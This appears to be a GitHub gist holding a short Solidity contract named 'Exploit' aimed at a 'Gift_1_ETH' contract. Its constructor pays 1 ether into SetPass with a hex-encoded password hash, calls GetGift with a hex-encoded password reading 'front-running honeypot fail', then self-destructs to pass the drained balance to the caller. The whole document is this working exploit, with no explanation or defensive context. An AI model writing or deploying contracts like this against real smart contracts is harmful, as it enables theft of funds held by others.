Created
March 21, 2018 07:09
-
-
Save pertsev/0a1e1db9b000481d20358bc382201206 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
contract Exploit { | |
function Exploit(Gift_1_ETH _target) public payable { | |
_target.SetPass.value(1 ether)("\xc3\x03\x12\x06\xeb\x04\x20\x5d\xf8\x6d\x32\x84\x68\xd9\xb0\x95\x59\x69\x92\x90\xb6\x42\x6a\xba\xd0\x4b\xb0\xda\x91\x77\xe4\xba"); | |
_target.GetGift("\x66\x72\x6f\x6e\x74\x2d\x72\x75\x6e\x6e\x69\x6e\x67\x20\x68\x6f\x6e\x65\x79\x70\x6f\x74\x20\x66\x61\x69\x6c"); | |
selfdestruct(msg.sender); | |
} | |
function() payable {} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment